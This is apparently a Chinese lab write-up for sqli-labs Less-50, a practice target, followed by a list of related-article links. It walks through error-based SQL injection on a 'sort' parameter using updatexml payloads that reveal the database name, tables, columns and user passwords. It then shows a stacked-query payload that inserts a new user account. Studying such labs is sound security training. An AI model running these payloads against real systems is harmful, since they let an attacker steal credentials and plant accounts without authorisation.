sqli-labs-Less-50

SQLI-LAPS 实验记录

Less-50

这一关我们采用报错注入的方式,可以查询到数据库名称、表名、列名等信息。

首先我们在命令行中输入sqlmap命令:

sql 复制代码
?sort=1

结果如图所示,列出了数据的具体信息,但这不是我们想要的方式。

接下来,我们尝试使用updatexml摄氏注入的方法来进行注入。

sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)#

结果如图所示,爆出了数据库名称,接下来我们就可以继续报错注入的方式,查询表名、列名等信息。


  • 查询表名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
  • 查询列名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
  • 查询数据:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,id,password) from security.users where id=1),0x7e),1)#

除此之外,我们还可以使用insert方式,向数据库中插入我们想要的账号和密码信息:

sql 复制代码
?sort=1; insert into users(username,id,password) values('heze111',111,'love')#

可以看到,帐号heze111与密码love已经插入到数据库当中了。

相关推荐
菩提小狗25 分钟前
每日安全情报报告 · 2026-08-27
网络安全·漏洞·cve·安全情报·每日安全
大模型码小白33 分钟前
Spring AI 框架中集成 MCP 的完整指南:从服务端到客户端的全流程实践
大数据·运维·数据库·人工智能·python·sql·spring
YHL36 分钟前
🐉 天龙八部 RAG 知识库实战:从零构建你的武侠 AI 助手
数据库·人工智能
wear工程师39 分钟前
MySQL 死锁怎么排查:把 innodb status 里的 HOLDS 和 WAITING 对上
sql·mysql
lhldsg42 分钟前
课程排课实战指南:从需求分析到系统落地全流程
数据库·数据挖掘·需求分析
Trinitytec43 分钟前
源码不出网,开源治理工具SCA应该如何部署?
网络安全·开源·源代码管理
ECT-OS-JiuHuaShan1 小时前
共轭互逆链路论,彻底打击庸俗辩证法和不可知论
数据库·人工智能·算法·机器学习·数学建模
Sherotree1 小时前
Agent 工程笔记①:工具调用失败时,先查哪三层
网络·数据库·笔记
深念Y1 小时前
数据库层设计的取舍:ORM 便利性与手写 SQL 的安全性权衡
java·数据库·sql·golang·框架·语言·ome
XuCoder1 小时前
你更新的数据明明还在内存里,可 MySQL 重启后凭什么没丢?
数据库